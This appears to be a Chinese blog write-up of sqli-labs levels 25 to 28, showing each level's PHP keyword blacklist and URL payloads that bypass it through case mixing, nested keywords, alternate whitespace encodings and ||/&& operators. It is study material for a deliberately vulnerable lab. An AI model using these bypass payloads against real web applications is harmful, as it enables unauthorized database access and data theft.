Sqli-labs 复习 Less25-28 绕过过滤函数对字符的过滤 - GET

之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象

Sqli-labs 博客目录

绕过过滤函数对字符的过滤

Less-25 报错型注入 - 绕过对 or、and 的过滤 - 单引号

  1. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
            $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)
    
            return $id;
    }
    
  2. 思路

    本关主要为 or and 过滤,如何绕过 or 和 and 过滤。

    1. 大小写变形 Or,OR,oR
    2. 编码,hex,urlencode
    3. 添加注释 /*or*/
    4. 利用符号 and=&& or=||
  3. 报错注入 or 示例

    ?id=1’|| extractvalue(1,concat(0x7e,database()))–+

  4. 基于报错的 and 示例

    ?id=1&&1=1–+

Less-25a 盲注 - 绕过对 or、and 的过滤 - 整型

  1. 源代码

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
            $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)
    
            return $id;
    }
    
  2. 思路

    不同于 25 关的是 sql 语句中对于 id,没有”的包含,同时没有输出错误项,报错注入不能用。
    其余基本上和 25 示例没有差别。此处采取两种方式:延时注入和联合注入。

  3. 测试

    ?id=-1 UNION select 1,@@basedir,3#

    此处我们依旧用 || &&来代替 and,or。

Less-26 报错型绕过/*、空格,or、and、#等各种字符的过滤

  1. 简介

    本关结合 25 关,将空格,or,and,/*,#,–,/等各种符号过滤,此处对于 and,or 的处理方法不再赘述,参考 25.

  2. 替换

    1. 对于注释和结尾字符的我们此处只能利用构造一个’ 来闭合后面到’
    2. 对于空格,有较多的方法:

      %09 TAB 键(水平)
      %0a 新建一行
      %0c 新的一页
      %0d return 功能
      %0b TAB 键(垂直)
      %a0 空格
      
  3. 测试

    URL 输入 ?id=1’%0b||’1

    ?id=1’%0b||’1

    源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);             //strip out OR (non case sensitive)
            $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
            $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
            $id= preg_replace('/[--]/',"", $id);            //Strip out --
            $id= preg_replace('/[#]/',"", $id);             //Strip out #
            $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
            $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
            return $id;
    }
    

    构造后的语句

    $sql=”SELECT * FROM users WHERE id=’1’ || ‘1’ LIMIT 0,1”;

    第一个’ 首先闭合id=’$id’ 中的’,%a0 是空格的意思, 同时%0b 也是可以通过测试的,其他的经测试是不行的。||是或者的意思,’1 则是为了闭合后面的’ 。

    构造测试语句

    ?id=100%27union%0bselect%a01,2,3||%271

    也可以利用报错注入和延时注入等方式进行注入。

Less-26a 盲注 - 绕过/*、空格,or、and、#等各种字符的过滤 - 单引号括号

  1. 简介

    这关与 26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入。

  2. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
            $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
            $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
            $id= preg_replace('/[--]/',"", $id);            //Strip out --
            $id= preg_replace('/[#]/',"", $id);                     //Strip out #
            $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
            $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
            $id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out slashes
            return $id;
    }
    
  3. 测试

    联合查询

    ?id=100’) union%a0select%a01,2,3||(‘1

    explain:基础与 26 一致,我们直接用’) 闭合前面的,然后跟上自己构造的注入语句即可。最后利用(’1 进行闭合即可。

    ?id=100’)union%a0select%a01,user(),(‘3

    可将user()更换为你想要的sql 语句。同时该例可以利用延时注入。前面已经有介绍了,自行构造即可。

Less27 报错型注入 - 绕过对 union、select 的过滤 - 单引号

  1. 思路

    本关主要考察将 union,select 和 26 关过滤掉的字符。此处我们依旧和 26 关的方式是一样的,只需要将 union 和 select 改为大小写混合就可以突破

  2. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
    $id= preg_replace('/[--]/',"", $id);            //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                     //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);     //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);      //Strip out union
    $id= preg_replace('/select/s',"", $id);     //Strip out select
    $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);      //Strip out Union
    $id= preg_replace('/Select/s',"", $id);     //Strip out select
    return $id;
    }
    
  3. 测试

    ?id=100’unIon%a0SelEcT%a01,database(),3||’1

    TIPS:uniunionon 也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。

    ?id=100%27ununionion%a0SelEcT%a01,database(),3||%271

Less27a 报错型盲注 - 绕过对 union、selct 的过滤 - 双引号

  1. 思路

    本关与 27 关的区别在于对于 id 的处理,这里用的是” ,同时 mysql 的错误不会在前端页面显示。

  2. 源代码

    $id = '"' .$id. '"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
    $id= preg_replace('/[--]/',"", $id);            //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                     //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);     //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);      //Strip out union
    $id= preg_replace('/select/s',"", $id);     //Strip out select
    $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);      //Strip out Union
    $id= preg_replace('/Select/s',"", $id);     //Strip out Select
    return $id;
    }
    
  3. 测试

    ?id=100”%a0UnIon%a0SElecT%a01,user(),”3

    TIPs:这里说下以上 payload 我们利用最后的3 前面的” 将后面的” 给闭合掉。或者亦可以利用以前的方法1,user(),3 || “1,同时本关可以用延时注入的方法进行注入。

Less28 报错型盲注 - 绕过对 union+selct、其他字符的过滤 - 双引号括号

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);                          //strip out /*
    $id= preg_replace('/[--]/',"", $id);                            //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                                     //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
    $id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
    return $id;
    }
    
  2. 测试

    ?id=100’)union%a0select(1),(user()),(3)||(‘1

Less28 盲阻 - 绕过对 union+selct、其他字符的过滤 - 单引号括号

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    function blacklist($id)
    {
    //$id= preg_replace('/[\/\*]/',"", $id);                                //strip out /*
    //$id= preg_replace('/[--]/',"", $id);                          //Strip out --.
    //$id= preg_replace('/[#]/',"", $id);                                   //Strip out #.
    //$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
    //$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
    $id= preg_replace('/union\s+select/i',"", $id);     //Strip out spaces.
    return $id;
    }
    
  2. 思路

    本关与28 基本一致,只是过滤条件少了几个。

  3. 测试

    ?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271

    ?id=100%27)unIon%0bsElect%0b1,user(),3||(%273

猜你喜欢

转载自blog.csdn.net/Kevinhanser/article/details/81592858